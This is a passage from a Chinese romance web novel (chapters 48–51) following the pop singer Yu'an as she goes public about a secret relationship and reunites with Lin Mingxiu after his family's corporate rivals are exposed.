囫囵地结束了发布会,真的弄来一辆吉普,团队几人跳上车,从中环开到浅水湾,一路乐声不减,她的歌成了这个城市的背景音乐。 柚安微笑看着团队小伙伴们兴奋狂欢,站起来挥舞双臂。这一路椰林很壮观,前方的海滩上渐渐露出巨鲸的半个身体。 “到鲸落弯了?” “是吧。” “放我下来。” 柚安跳下车去,“你们继续,我自己逛逛。” 她独自走上沙滩,光脚踩着细沙,迎着湿润的海风,走到巨鲸的尾巴上坐下来。 海浪温温柔柔地爬上来,亲吻着脚丫,一层一层渐次离去,风也很轻,像一个温柔的拥抱。 这里隐约还是能听到她的歌声,像是被浪打过来的,又想是被风带过椰树群,送到耳边的。 手机拿在手里,指尖悬在拨通键的上方。 一秒,两秒。 还是作罢。 到了凌晨,时钟指向零点的那一刻,各处的歌声统一停止,海平面升起巨大的烟花,经久不息地烟火将黑夜点燃,将天际线染成橘红,连海面的波纹都镀上一了层虚晃的金边,仿佛一场盛大的庆祝。 柚安撑在沙上的手忽然碰到一个东西,半埋在沙里的。 挖出来一看,是一个玻璃瓶,一张字条躺在瓶里,手写的一列字:“柚安,生辰快乐!”字迹工整而熟悉。 这个忙到被遗忘了生日,终于还是被某个人惦记着。 第二天,更多的人发现了庆生字条,在便利店的的货架上,草莓蛋糕的中间,在馄饨店的筷笼里,在录音棚休息室的沙发缝隙里,咖啡间的柜门边,在布偶猫的猫砂盆里…… 这下,所有人都知道了她的生日。 骄傲,占有欲强烈的狮子座。 见到她,没有人不说一句“生日快乐”。 经纪人除了“生日快乐”之外,还神秘兮兮地问了一句:“那张照片没有诬陷你对不对?你是交了男朋友吧?” 说好不干涉私人感情的,但是……实在很难忍得住。 “是啊。”柚安坦然一笑,告诉经纪人,“我是有男朋友啊。” 第48章 “唯有约定和大哥喝醉”…… 八月, 柚安的专辑登顶销冠,演出机会多到挑花眼。 新专发行后的第一个现场,是一个小型音乐专场,除了自己的歌, 她买版权加了首翻唱, 唱的是卫兰的歌, 经纪人宠她, 说买就买。 她唱着, “相恋的证据/假使要争取/唯有约定和大哥喝醉”,仰头看到中秋的圆月。 九月, 柚安和黎燃录制合唱。 黎燃的手笔,柚安很是喜欢。但是现实骨感, 契合的音乐品味打不过各自的执拗。 一进录音棚,他们就各自变了一个人, 不约而同化身孤崖绝壁, 棱角锋利, 油盐不进。一个气口都可以争执半天, 有几次差点将棚顶掀了。 最后终于达成共识—— 适合做朋友的人, 不一定适合一起工作,捆绑销售至此中道崩殂。 确定各回各家的那一天, 两人才重归于好。 黎燃以咖啡代酒敬柚安:“喝了这一杯, 姑奶奶再也不要找我录歌了。” “彼此彼此。”柚安顶着黑眼圈回敬。 她发现黎燃的咖啡杯受热之后, 慢慢浮出一支玫瑰的图案,顿时一扫疲惫,比兔子发现胡萝卜坑还要振奋。 黎燃被问得没有办法,松了一点口,“还没开始, 你别乱打听。” “好的好的,我自己脑补。”柚安捧着水杯,说补就补。 “很少见你笑得这么……甜哦。”黎燃看着她的模样,想起到池中间盛开的嫩粉色荷花,花瓣上沾着的露水都像是甜的。 “嗑到了,你懂不懂?”磕到的时候,比喝了一大杯甜水还甜。 十月,柚安飞了躺维北市,顶林栖的班。 后者重感冒,嗓子哑了,又有一档音综在身,实在没法录,柚安便推了原定的行程,临时飞过去帮她顶一场。 录制完,去好友家里探病。 林栖贴着退热贴半躺在床上,陆野也在,两人正在为睡觉戴不戴护脖而争执。陆野一定要林栖把脖子护严实了,还要穿棉袜,林栖不肯,陆野急得从脸红到脖子根,说她个电音朵拉还有什么好犟的,小情侣拉扯来拉扯去。 柚安抱着胳膊靠在门边看戏,嘴角都要翘到眉毛。 恋人会释放一种甜甜的化学物质吗?她又感到好像喝了小甜水一样,一直甜到心尖尖上。 最后,陆野败下镇来,抱着套脖气呼呼的。 “好了好了,快走吧,今天你女朋友是我的,别想抢。”柚安做出赶人的手势。 嘴上说得不客气,还是起身将人送到玄关。 看着陆野扶墙换鞋,又在心里笑开花:天王巨星男妈妈。 陆野换好鞋走到门口,默了默,转过头来对柚安说:“衷心希望你,往后余生一直都这么幸福。” “我,幸福?你是怎么看出来的?” “你脸上写着呢,不知道就去照照。”他笑着挥挥手,“走啦,照顾好她。” “哦,嗯,”柚安懵懂地点头,关好了门回去问林栖,“我脸上写什么了?你是不是告诉陆野我的事了?” 林栖捂嘴笑了半天,用电音朵拉的声音说:“我可一个字没说,你刚刚笑得都痴了!谁看不出来在想男朋友?以前从没见你这样笑过。” “我那是笑你们好不好!我那是姨母笑!”柚安冤枉极了,学着他们刚才拉扯的样子解释。 林栖说:“你当时明明就在走神,你们很久没见面了吧?” “……是很久了,”柚安薅了个抱枕窝在沙发里,掰着手指头算,算了半天也算不清楚,转而说道,“我过了飞蛾扑火的时候了,爱情根本不是什么天大的事。如果我的嗓子坏掉了,不能唱歌了,那肯定是要了我的命了。但是如果一直这样见不到他,好像也没什么,至少不会死,对不对?” 林栖半躺在床上,眨着眼睛思考她的话。 “是不会死……那你唱什么《大哥》?骗我眼泪。” 不会死,但是会终其一生,活在潮湿的雨季里,柚安又想。 “嘴上说得潇洒,就是表情管理没做好,”林栖笑话她,“打个电话呗,有天大的事忙,偷偷回来约个会,又能怎么样?” “见了面又能怎么样?偷偷摸摸约个会,那不是我想要的,”柚安说,“况且,我也没那么想他。” 林栖歪头瞧着她的表情,不置可否地“嘿嘿”两声。 “对了,我的新专辑你听了吗?提点意见。” “很好听,比你之前的歌还好听。”林栖激动地说,“听你歌的时候,我总想到那句歌词,How many roads must a woman walk down before you call her a woman” 柚安笑不可遏,“评价是好评价,但你烧坏脑子啦?人家歌词是man,a man walk down……” “就是woman,就是的……”电音朵拉用她怪异的嗓音唱起来,两个人笑得前仰后合。 十一月,一个叫贺锦昇的富二代对柚安展开强烈攻势。 他的爸爸是林鹤堂的生意伙伴,两人从小便认识,但交集只限于几次应酬场合。 贺锦晟刚从美国留学归来,一下飞机就去找柚安。豪车的后备箱打开,满车玫瑰花束,每朵花的花芯都含着一枚戒指,璀璨夺目的画面,立刻吸引了一大批人围观。 他告诉柚安,高中的时候就喜欢她了,一直磋磨到现在才敢开口。 柚安大约知情。 那个时候,她在豪门二代的圈子中,名声并不好,别人忙着镀金,她醉心地下摇滚,为数不多出席的几次宴会,总是一个人待在角落放空,她放空的时候,脸冷得要死,眼角眉梢一股不自知的傲气。 别人都对她望而却步的时候,贺锦晟却摩拳擦掌。他说,就喜欢她这样劲劲儿的。 这话是后来,别人告诉柚安说的,真假难鉴。她只知道,贺锦晟说了这句话之后,每次来找她的路上,都会被不知从哪冲出来的狼狗追着咬,有时还是几条,一米九的男人吓尿了裤子。 “柚安,答应他——” 身边一群起哄的观众,纷纷拿出手机,不管是明星恋情还是这豪奢的求爱方式,都太值得录下来了。 一个中年大叔脑子抽了,喊起“亲一个——” 柚安啪地合上后备箱,两步钻进上副驾,头伸出窗外问贺锦晟:“你走是不走?” 他们开车找了个安静的地方聊了聊,说起被狗咬这事,贺锦晟至今还心有余悸,原本,是想登门拜访的,又怕再遇见狗。 柚安言简意赅:“我有男朋友了。” 但是贺锦晟并没有就此放弃,仍旧隔三差五地送上豪礼,攻势强劲。 追了大半个月,终于对柚安的冷脸厌了,开门见山问她:“怎么样才能跟我约个会?你开个条件。” 柚安刚从录音棚出来,正坐在楼下的咖啡店,等保姆车来接,她搅着咖啡,漫不经心地将耳机摘下来,没有搭话。 贺锦晟气得立马就摊牌,“你装什么?以前也就算了,现在?你看看四海的股价呢?就要倒了,没人养你了!也别说什么你有男朋友这种鬼话,我回来之前就找人跟你了,你哪里有男人?拿这种低劣的话骗我,瞧不起谁呢!” 柚安微笑说:“回家路上当心点,小心又被狗咬了。” 贺锦晟气得一脚踹烂垃圾桶,夺门而出。 声响惹得店里所有人惊恐相望,只有柚安低头看着手机出神,将屏幕摸开又熄灭,熄灭了再摸开…… 或许,不联系的他们并不存在默契。林鸣修就是在哪个城市自立门户,安居乐业了,或是飞去哪个国家逍遥快活,撒手不管了,她也不会知道。 还好她从不去等,若不是看到满城落叶,绿树变黄,都不会察觉到秋天来了。更不会去计算随口说出的一年之期还有多远。如果他走了,那便是走了。 十二月,柚安去瑞士看望父母。 陀螺一样辛苦地转了大半年,终于攒出几天假期,可以好好休息。 她没有事先告知林鹤堂和尹晴,打算给他们一个惊喜。 哪知道被“惊喜”到的是她。 夫妇俩出去旅游了,说这么久还没去周围逛逛,属实遗憾。现在林鹤堂身体好起来,也可以启程了。 空下来的房子坐落在洛迦诺的一处湖畔,湖水碧蓝,湖面薄雾缭绕,湖岸的棕榈树、橄榄树和月桂树依然翠绿。 大门前有一颗不知名的树,像一把撑开的绿绒大伞,柚安莫名觉得亲切,坐在树下给父母拨去视频。 视频接通的时候,他们正乘坐伯尔尼纳快车,穿越布伦迪奥萨环形高架桥。桥下的冰湖结着薄冰,对岸村庄的屋顶堆着雪蘑菇,像童话世界。 林鹤堂红光满面,已经恢复了几分杀伐决断的模样,一如这几个月来,通视频所见,他的身体正在慢慢变好。 尹晴要她买张车票,同他们在布伦迪奥萨汇合。柚安查了查行程,说算了,时间不够,她还要赶回去工作。 挂了电话,起身进屋,蓦然发现,在苍郁的枝叶间,藏着一颗明黄的大果,仔细一看,是一颗没长熟的柚子。 原来这是一颗胡柚树,只是有点水土不服,没长成林鸣修家院子里那种,果实累累的样子。 医护和佣人有的随行,有的放假了,房子完全空出来,但是各种生活用品摆放齐全,随处可见一家人的照片,和尹晴精心布置的插花作品。 踩着木质地板,噔噔噔小跑上二楼,将行李放到特意为她留出的房间。 又逛到书房,胡桃木色调,一张书桌,一张阅读椅,一什一物整洁干净地就像军中。 林鹤堂常看的几本大部头书籍,就摆在桌上,旁边放着一副银色细框眼镜,好像刚刚还有人坐在这里似的。 手指摩挲过书封,又触到眼镜,拿起来放在脸上比划了一下,冒出一种不和谐的感觉。 父亲的书威力不减,随便拿了本,坐进皮质的沙发椅看,没翻两页,睡神来找,她呼呼大睡。 下午到的,一觉睡醒天已经黑了,柚安下楼给自己找吃的。 厨房和餐厅都在一楼,木质田园风格,暖阳的色调,岛台往西是休闲会客区,三张沙发围着一个电视屏幕,下面放着柚安的专辑。 再往西就相对比较空,地上摆了些健身器材,想必是林鹤堂复建的地方,只是那对20公斤哑铃,让柚安觉得匪夷所思。 一抬头,墙面竟上挂着一辆黄黑相间的山地自行车。 一道雷打进脑瓜里,柚安蓦地一震,转身跑上书房,再看那些书,那副眼镜,一切都通了。 她拿过眼镜下方压着的另一本书,翻开,一张字条赫然掉落—— “柚安,生辰快乐!” 第49章 小林总不自觉化身一只期…… 一月, 柚安在启德体育场开了人生第一场个人演唱会。 演出到某一首歌时,体育场上空突然出现大量无人机,变幻的阵列和灯光呼应着歌曲的节奏,将气氛推至高潮。 就当观众乃至柚安本人, 都认为是公司安排的舞美装置时, 无人机阵摆出了“对不起”三个字, 而后随着歌曲的尾声退出场外。 柚安身着华丽的金色鱼尾裙, 站在舞台中央, 聚光灯下,记忆蓦然飞回瑞士的木屋。 那天, 她一个人在木屋的书房里静坐到深夜,无法遏制地想象着, 或许林鸣修只是短暂地出了个门,随时都有可能回来。 然而直到次日破晓, 依旧无人归来。 她没有犹豫, 立马订了回国的机票。 为的是不让自己陷入等待。 走前, 她用桌上的钢笔在“生辰快乐”的字条背面写道:“我不是一定要你在身边。” 这两句看似没头没尾的呼应, 鬼使神差般在她脑海里重叠在一起。 观众席惊疑不已, 四面荧光棒如萤火汇聚成星河,不安地闪烁着, 几乎要将场馆点燃。 PD在耳机里发出疑问:“这啥?示爱吗?那个富二代?” 另一个声音反问:“谁示爱会说对不起?” “别管了, 按流程走吧。柚安, 说串词。” 头顶一束追光打下来,今夜的维纳斯女神完美无瑕,屏幕将她美丽的脸庞放大,她微垂眼睑,目光几分挣扎, 又有几分倔强。 “我——”声音从话筒里飘出来,随着台下荧光棒微微颤抖,连她自己都觉得陌生。 停顿了数秒,台下也跟着安静。 “我想跟你们分享一件事,一件很开心的事,我恋爱了。而对方……”一片惊讶的骚动中,她咬唇迟疑,而后抬手摘下快要被PD的喊声炸开花的耳麦,“暂时还不能告诉你们,但是,我有点想他了……是很想很想。我要很认真地谈一场恋爱,甜蜜时,像韩剧里那些令人羞涩的唯美桥段;争吵时,像酸涩狗血的低龄言情;遇到阻挠时,像惊天动地的琼瑶小说。不管最后结局如何。会不会太贪心了?请祝福我吧!” 一滴眼泪落下,但她笑起来,笑容如烟花绚烂。 “说出来的感觉真好啊!”下一首歌的前奏响起来时,她说。 其实就算没有宣言,这些秘密也早暴露在她的歌里。 她写—— “向我走来时,连风都偏爱你” “你走后,我连伞都忘了撑” 她写—— “离人不知凉月夜,虫鸣如嘶,蛙叫难眠” 她写—— “看街角那对情侣吻地多认真,像不像去年的我们” 她写—— “我一生任性,上枷锁亦改不掉荒谬本性” “等满途荆棘变成花,全城亦为我收声” 当晚,热搜的词条炸了,互联网为这段逆天的宣言几经瘫痪。 柚安懒得点开被红色数字轰炸的消息栏,问经纪人,她被骂得惨不惨。 经纪人兴致勃勃地汇报战况:“很多很多人祝福你,也有不少人说你太勇了,是的嘛,本来还能吃几年女神红利的,偏偏火得一塌糊涂的时候宣布谈恋爱了。” 柚安拧眉,“我就不能靠才华吃饭吗?” “可以啊,但是你控制不了别人喜欢你什么,期待你什么,公众人物就是这样。对了,还有人猜是不是那个贺公子。” “……赶紧给我澄清。” 二月,四海寰宇出事了。 可能是看到四海股价持续低迷,大有倾颓之势,所以想要出手一搏,将最后一点利益榨进自己的口袋里,那家名叫海宇资本,经常趁低价收购四海股份的公司,忽然间胃口大增,在股市鲸吞蚕食,弄出不小的动静。 交易量到达一定数额的时候,会引起证监会的注意。四海也在这个时候,委托外部审核机构,以“常规年度审计”名义,核查该公司的资金流向。 审计结果显示,海宇的大批资金流向了林鹏海的海外账户,还有不少,最终流向澳门某赌场的私人赌博账户。 林鹏海操控海宇资本非法集资,林景琛利用前CFO和现代理CEO的职务之便,操控股价,输送利益,证据齐备。两人被起诉,面临巨额的行政处罚,和刑事追责。 与此同时,林鹤堂回国,重任四海寰宇主席之职。 林鹤堂夫妇回国的第二天,林家在夏山郡举办了一场隆重的庆祝晚宴。 不巧柚安正在国外演出,她庆幸自己完美错过,免去了应酬的烦恼,但心情却从听到父母回国的那一刻起,就忐忑难安,身体里住进了一只蝴蝶,扑棱着翅膀,想要冲破胸腔,飞回去。 演出的最后一天,这只蝴蝶尤难控制。 结果是她买了当晚的机票,提前回国。 回到家,正赶上夏山郡满堂衣香鬓影,华灯璀璨。 她推着行李箱,大衣挽在臂间,长发慵懒地披散着,上身是黑色的贴身高领毛衣,下身是牛仔裤,长围巾随意地在脖子上挂了两圈。 众人的目光立刻汇聚过来,走在一众奢华礼服中间,她脚步铿锵,眉目舒展,淡淡一抹笑容,颇具主人的从容气度。 许久不见,与林鹤堂和尹晴久久拥抱,要说的事情没完没了,不识相地宾客捏着酒杯前来寒暄,这才上楼休息更衣。 长阶走到一半,她回首往会场望了望,不见林鸣修的踪影。 在期待些什么?他如今既不属于林家,又不属于四海,实在没有出现的道理。 柚安将垂下的碎发捋到耳后,转身上楼,水晶吊灯在她眸间落下细碎的阴影。 和宴会厅的轻歌曼舞相比,二楼显得安静得多了。长长的走廊,只有她的脚步声,一声比一声落寞。 经过林鸣修的书房,走到自己的卧室,正要开门的,动作忽然顿住,不知哪根神经搭错了弦,她心念一转,转而走向隔壁。 黄铜把手轻轻一拧,门被打开。 做梦一样,看到林鸣修正坐在沙发上,戴着一副银色细框眼镜,腿上放着一本书。 大约是同样察觉到门外的人,他的脸正微微仰起,望向门口的,就好像一直在等她开门。 “过来。”他眼睛笑了。白皙的脸上如覆着层薄薄的雪,随他一笑,雪在温暖的阳光下慢慢消融。 走向他的那几步,像是踩在云端,忘记了怎么呼吸。 这实在太像是长途飞行做的一个梦了。 靠近他时,被他伸手拉了一把,柚安跌坐在他腿上,梦境落地为现实,具象化成面前这张脸。由于太过熟悉,她常常忽略了这张脸的权威性,他不笑时清绝冷历,威严绝顶,但是眼角只要稍稍流露一抹温存,立刻不一样了。叫人想到阳光下的金毛、融化的冰淇淋、床边那件老实又敦厚的胡桃匣子人偶,让人强烈地想要接近。 四目相对,他偏头去吻她,温柔而细致地。 久别重逢,他也是紧张的,生疏地摸索试探,心脏鼓胀地快要爆炸。手指在她肩上不自觉攥了攥,指节泛白,几秒后才松开,指尖斜插进她秀发,贴向后颈,不让对方有逃脱的机会。 指腹擦过她耳后细滑的皮肤时,她呼吸轻颤。 “你怎么躲在这儿?”她含混不清地问。 “现在的身份,实在不适合出现在这种场合。”他声音低低地贴在耳畔,语气又冷静自持。 “爸不让你进四海了吗?”她相信以林鹤堂的健康状况,不可能独自做到这一切,顶多是幕后军事,前方落地执行的,还得是林鸣修。那些高层和董事,宴会厅举杯庆贺的合伙人,一定也会有这样的揣测。 “不是不让,看时机吧。” 他搂她的腰,将她贴向自己,不够似的吻她。 “……唔,我还有问题。” “怎么?”他稍稍退开。 “无人机是怎么回事?为什么说对不起?” “那个嘛,”林鸣修指尖轻轻摩挲着她耳廓,边回忆边说,“回洛迦诺后,看到你留的字了,本该立刻过来见你的,毕竟答应过,你要是说想我,我就回来。但那时,正赶上搜集林鹏海违法证据的关键时期,房地产形势低迷,林景琛盘不活四海,急得团团转,我们又动了点手脚,让林鹏海在澳门欠了一屁股债,不得已开始打海宇资本的主意,不顾死活地大力抛售股份变现,马脚露了一大堆,局势顶在针尖上,实在抽不出空回港,所以……” “不是,我哪个字写想你了?”柚安将他的手掰下来,义正言辞,“你别冤枉我!” “承认想我有那么难吗?你就是那意思。” “我不是!” “后来演唱会不也说了吗?”林鸣修笑着看她逞强。 “那是后来!” “那你想我吗?”林鸣修挨近她,目光强势又赤诚,“我要听你亲口说。” “……不是说过了吗?” “现在说,当我的面说。” “一定要对着你的耳朵说是吧。” “嗯。”他正了正坐姿,眼睛里有柔柔的光,小林总不自觉化身一只期待到哈气的金毛。 柚安盯着他良久,作势要张口,却猝然凑上去咬了咬他下唇,“我就不说!”急死你。 换来一顿狂风骤雨的吻。 第50章 只能任由他欺负 久别重逢, 原来是这样一种心情。 柚安觉得,吻到天亮也没关系,哪怕氧气已被剥夺殆尽。 与宴会厅的觥筹交错,华服丽影隔绝开来, 书房有着独属于林鸣修的气质, 冷郁、幽暗、干净、秩序井然。他不在时, 柚安常坐在他的皮椅上阅读、小憩, 享受这份静谧与安全感。 一线灯光将房间铺了层晦暗的昏黄色调, 男人的喉结在灯光下滚了滚,吻向她耳后。 就在这时, 门外忽然传来脚步声,由远及近。 柚安倏地一凛, 推开林鸣修,另一只手胡乱捂住他的嘴。 “不会是我爸吧……”声音有点发颤, 尾音被男人用唇舌堵了回去。 “你就怕你爸。”林鸣修将她的手从唇上捉下来, 擒在半空。 柚安想说“你不怕?” 已经没有出声的余地了。 脚步声经过书房, 在柚安的卧室前停住, 紧接着响起敲门声, 柚安的心脏紧绷到极点,睁大眼睛看向林鸣修。 林鸣修撑臂退开, 抬手将阅读灯关了, 姿势像只蛰伏于黑暗中的猛兽。 “柚安, 在吗?”隔壁的门外居然响起贺锦晟的声音。 柚安紧地一闭眼,杀心四溢。 “谁啊?”听到陌生男人的声音,林鸣修涌起好奇,低声问她。 柚安故意说:“你不在时,我找的小白脸。” 以为他会生气的, 但他只是微微一笑,在黑暗中宠溺地看着她,好像在说,你继续编。 两人相隔林鸣修手臂撑起的距离,柚安编不出来,紧绷着脸,等那个不识界限的男人自己退去。 可是被狗撵过的男人就是不一样,非但不知道知难而退,还一个劲地求柚安给他开门。 “柚安,我知道你在里面,还没睡吧?” “对不起,那天是我一时激动,说了伤人的话。” “柚安我是爱你才发你脾气的,难道你感觉不到吗?你一点儿也感觉不到吗?” “我说四海垮了,你要找个男人依靠,那也是为了你好啊!我多担心你背一身的债!” …… 听着这些话,柚安烦躁到极点。 面前的林鸣修居然憋不住,笑了,笑得有点坏。 “这小白脸找得不怎么样啊。”他说着,俯身吻下去,一下比一下深,有意挑衅她紧绷到极致的神经。 柚安不敢发出一丁点声音,只能任由他欺负。 门外的喊声在感知被全面占领之后,沉到了海里,变成一连串咕噜噜作响的气泡。 不巧这时手机震了起来,来电人正是门外那位痴心男。 嗡嗡的震铃声打破了屋内中的暧昧,像耳边驱散不走的蚊蝇。柚安捞过手机飞快地挂断,这时才发现,贺锦晟在上楼前,已经发了十多条信息,长篇大论述说他的倾慕,只求见她一面。 柚安忍无可忍,将手机一扔,翻身站起来,嚯地将门打开。 贺锦晟见柚安在隔壁,疑惑与惊喜夹杂,亮着一双眼睛走过来。 柚安劈头就骂,“宾客都在宴会厅,谁给你的胆子上楼来的?这礼节,你爸爸教你的,还是你妈妈教你的?还是英国的贵族学院教你的?你也算有头有脸的人物,不想家族因为你这没有边界的猥琐行径而出名吧!” 贺锦晟被骂得哑口无言,面红耳赤,抬眼细看,却发现柚安头发乱着,唇上的口红晕地到处都是,脸上泛着不自然的潮红。 “你……你在……”他双眼圆瞪,探头向房里看去,房间黑乎乎的,窗帘拉着,没有一丝光亮,更加令人浮想联翩。 柚安这才意识到,自己的模样可能有些——不能见人。 愤怒难掩的同时,又增加了心慌与恐惧,下意识退了半步,低斥道:“你滚不滚?” 贺锦晟却昂起头来,“我不,除非……” “除非什么?跟我说说。” 一道身影蓦地从房间里压近,挡住了柚安,笔直地站在贺锦晟面前。白衬衣,黑马甲,手插在裤兜里,肩宽腰窄,比他高出半个脑袋,薄唇抿成一线,目光俯视下来,看不出情绪,却叫人不敢直视。 贺锦晟生理性地感受到压迫感,但他很快察觉到不对。 若是其他任何男人,他都没有站在这里死缠烂打的立场,偏偏是林鸣修。 手里轰然落下一个惊天的秘密,一股子激愤在身体里上蹿下跳,将说话时,连舌头都兴奋地打颤。 然而不知为何,面前被撞破秘密的男人,却一点不见心虚脸红,反而居高临下,看他像看一只…… 一股自尊被碾压的愤怒涌上心头,贺锦晟血压飙升,却又被面前男人的气场压地不敢发作,酝酿了半天,最后梗着脖子从齿缝里挤出几个字:“你们……原来……真是恶心!” 对象是你们,可柚安被挡得严严实实的,他又特意弯着身子,从被林鸣修身体挡住的缝隙里,口沫横飞地丢出一句:“你们家真是恶心!有头有脸那句骂,还给你!” 门被关上,柚安在黑暗中垂手而立。 半晌,她走到窗台,看到贺锦晟气急败坏地奔出前厅大门,离开了夏山郡。 向外走时,不忘警惕地左右环顾,生怕有狗蹿出来。 那模样,狼狈极了。 或许是一时来不及消化,或许是事情太丑,在官贵云集的豪门晚宴上,在林鹤堂重病康复归来,夺回四海寰宇的好日子里,由他贺公子爆出这个秘密,连他自己也会沾了脏。 所以他一句话没说,带着这个秘密跑了。 柚安趴在窗台上,沉默着。 有一刹,她叛逆心四起,期望炸弹爆炸地再快一点。 宴会已接近尾声,其他宾客也都陆续离场,豪车一辆接着一辆沿着花园的环岛路驶进来,接走喝得熏然的显贵,及其家眷们。 林鸣修用纸巾替柚安擦干净多余的唇膏,从后无声地拥着她,他的体型够将她完全罩住。 月色很轻,豪车在他们的视野里鱼贯而出,如一串鎏金的流苏。 其实,他们的华服之下,也都各有秘密,可若是哪家的体面被当众揭开,其他人不会放过落井下石的机会。 “今天晚上住这儿吗?”柚安出声问道。 林鸣修哼笑了声,“你跟我过来。” 他轻轻握她的手腕往外走,将要出房门时,柚安急急脱手。 “等等。”她拿出手机当镜子,仔细检查自己的妆容和头发,连脖子也细细擦了一遍。 “我看看。”林鸣修也低头帮她检查。 “别这样看着我。”这个时候,柚安倒害羞了,想到屋里只剩他们和父母,一颗不管不顾的心不得已渐渐收敛起来。 知道她在怂什么,林鸣修也收了捉弄的心,规规矩矩站到门边等她。 整理完后,柚安低头将碎发别到耳后,看他的时候,轻抿了下唇,“走吧。” 出了书房,两人走到林鸣修的卧室,后者打开房门,下巴朝床努了努,“这怎么睡人?” 林鹤堂和尹晴回来的第一天,这间房就已经除味消毒过了,床品也换了新的,只是被猫爪蹂|躏过的床头依旧伤痕累累,最重要的是,布偶猫习惯了主人的大床,卧在上面不打算走了。 见主人归来,白团子恬不知耻地“滚”过来,两爪交替挠着林鸣修的小腿,要抱。后者蹲下来,它立马顺着主人的长腿一路攀爬,钻进主人怀里。 柚安朝猫吐了吐舌头,“不关我的事,都是它。” 身后的房门忽然被敲了敲,柚安吓了一大跳,背上惊出了层薄汗。 尹晴立在门边,看了一眼柚安,对林鸣修说:“今晚就睡这儿吧。” 林鸣修微笑说:“不了,明天做东,今天还得回去收拾准备。” 尹晴说:“也好,一会儿让司机送你。” “做东?”柚安忍不住问出口。 林鸣修给她解释:“我新买的房子还没有暖过房,一帮朋友同事明天过来,帮我热闹热闹。” 听他说话时,柚安不敢抬头看他一眼,听完,忙点头说:“哦,原来是这样。” 明明尹晴是知情的,在她面前还装成这样,就连柚安自己都尴尬到脚趾扣地。但是能怎么办呢?像私下里那样亲密,更加做不出来。那可是从十几岁时就看着他们一起长大的妈妈啊。 “我和你爸也去,”尹晴补充说道,“我们还没有去过鸣修那套房子呢,柚安,你也一起去吧?” “我回头查查日程。”柚安煞有介事地拿出手机,点开密密麻麻的日程表,视线终于有了落处。 “爸睡了吗?”她问尹晴。 “早睡了,你上来没多久,你爸就回房睡了。”尹晴说,“他的身体不能熬地太晚。” “哦。”柚安暂时逃过一劫,肩膀顿时松了一截。 林鸣修抬腕看表,“那我走了。你们也早点休息。” “好。”尹晴看了柚安一眼,还没等她说什么,柚安抢着开口:“我回房睡觉了,好困啊。”一边说一边生硬地打了个哈欠。 说完丢下二人,头也不回地朝卧室去,几步路却走地同手同脚。 林鸣修看着她的背影,不自觉露出宠溺的笑。这一切被尹晴收录在眼里。 她不动声色,又五味杂陈,心里对孟悦说:“真想让你回来看看,你的儿子,也会这样笑。” 林鸣修将西装外套挽到臂间,向尹晴道别。 “去吧,我就不送了,路你都熟。”尹晴替他拍了拍肩上的灰,想到孟悦,她的眼角有些湿润。 林鸣修走出大门,车已经等在门前,年轻的司机下车替他开门,说:“少爷请。” 大步流星走过来的林鸣修忽然停下,看向司机。 平平的一眼,司机已经被震慑地一凛,急忙改口:“小林总……顾生,请。” 林鸣修收回目光,一矮身坐进后座,引擎启动,他抬首温柔地望向柚安卧室的窗口,直至那一方明黄在视野中消失不见。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-58 第51章 “还真是条狐狸!”…… 来暖房的朋友五花八门, 有四海寰宇的那帮亲信,有共事过的保镖,还有一些是大学时期的同窗好友和老师。 年龄跨度极大,从西服套装到休闲服, 从拉夫劳伦到李宁, 进了他家的门就没有什么层级之别。 他话不多, 从来不是会活跃气氛的人, 但每个人在他家, 都能找到自己那份自在。 房子容纳这三四十人错错有余,外面还有一个大院子, 碧绿的草坪修剪得整整齐齐。有人带了宠物,四五只猫猫狗狗正在草坪上撒欢。 不像在公司, 林鸣修私下对朋友很随意,三两好友结伴在各个房间参观, 有人在影音室看片, 有人则带了吃的, 在厨房准备, 他随朋友们造。 几个朋友新学了调酒, 哄哄闹闹地端出去着人品尝,那酒颜色就不太对, 林鸣修也赏脸去尝, 味道太奇怪了, 他搂着那人的脖子发笑,说这什么?你给我说清楚。 调酒的朋友就笑闹着端回去改进。 十一点的时候,林鹤堂的私家车准时开进来,后面还跟着两车厨师,带着各种专业用具, 是尹晴特意雇来的。 林鸣修待林鹤堂的礼节不同,他亲自下楼,到门口迎接。 很多朋友也跟着下去,看到林家大小姐从车里下来,视线就挪不开了。 “鸣修的朋友全是男的,没想到家里能来这么位女神!” “不知道待会儿有没有机会要个微信。” “最好不要。”一位保镖朋友出声提醒。 想要微信的小伙耸了耸肩,一旁的朋友揶揄道:“保镖在这儿呢,你还敢打人家大小姐的主意,虽然不是工作时间,但是职业习惯一上来,小心他抡你。” 几个站在一起的保镖就笑起来,指了指站在前面的林鸣修说:“职业习惯最强的,是那位。” 林鸣修恍若未闻,但耳朵立时滚烫。 柚安走在父母的身后,抱着布偶猫,一番寒暄后,林鸣修带着他们往里走,柚安将猫丢给他说:“不远行了吧?物归原主。” “不远行了。”林鸣修温声说。 他今天穿了一套蓖麻材质的休闲服,米白色,衣袖半挽,清隽修长。他看起来十分居家,状态也很轻松,和他穿西服时的工作状态完全两样。 只是当他靠近柚安,抬手为她引路时,柚安还是紧张到红了脸。 进屋后,她随手抓了个抱枕抱在手里,抱枕软绵绵的。 一些过于粉嫩,看上去让他有变态嫌疑的装饰,已经被林鸣修收起来了,屋子的主色调还是暖的,抱枕是一只金毛的狗头形状,非常柔软。 布偶猫似乎不习惯这样人多的场合,它并不去草坪上与其他猫狗撒欢,一直牢牢挂在主人的胸前。主人修长的五指轻轻托着猫屁股,给它十足的安全感。 可能是闻到新房里主人的味道,小猫找到了一点儿安全感,最终还是一跃而下,在房子里溜达起来。 猫擅长找到一个家里最舒适的角落,所以当林鸣修带着林鹤堂一家三口参观到主卧时,布偶猫已经占山为王,卧在他的床上,还把他连夜藏在被子里的“囍”字给刨了出来,大喇喇垫在身下。 淡黄色的床品配上那个大红色的“囍”字,十分具有视觉冲击力。 主人和参观的一家三口都沉默了。 林鹤堂先做出反应—— 他回头看了眼贴着墙角,恨不得镶到墙里去的柚安,眼神里含着些许来自长者的责备,仿佛在问“你们在这里搞什么鬼?” 柚安被父亲这一回眸吓得魂都丢了。 与女儿视线相对,林鹤堂又觉得尴尬,很快将目光转了回去。 尹晴说:“你这布置也太怪了,像一个小朋友的房间。” 林鸣修紧张的时候,面上也很冷静,他往身后的人群里看了一眼,Kim立马心领神会地站出来,摸着脑袋解释:“哥平时太忙了,这些生活用品啊,布置啊,都是我们助理团队为他准备的。” 一边说一边上前,从猫爪子下抢回那个“囍”字。 “这个是过年的时候买桃树送的,好玩儿,就给哥塞这儿了,嘿嘿。” 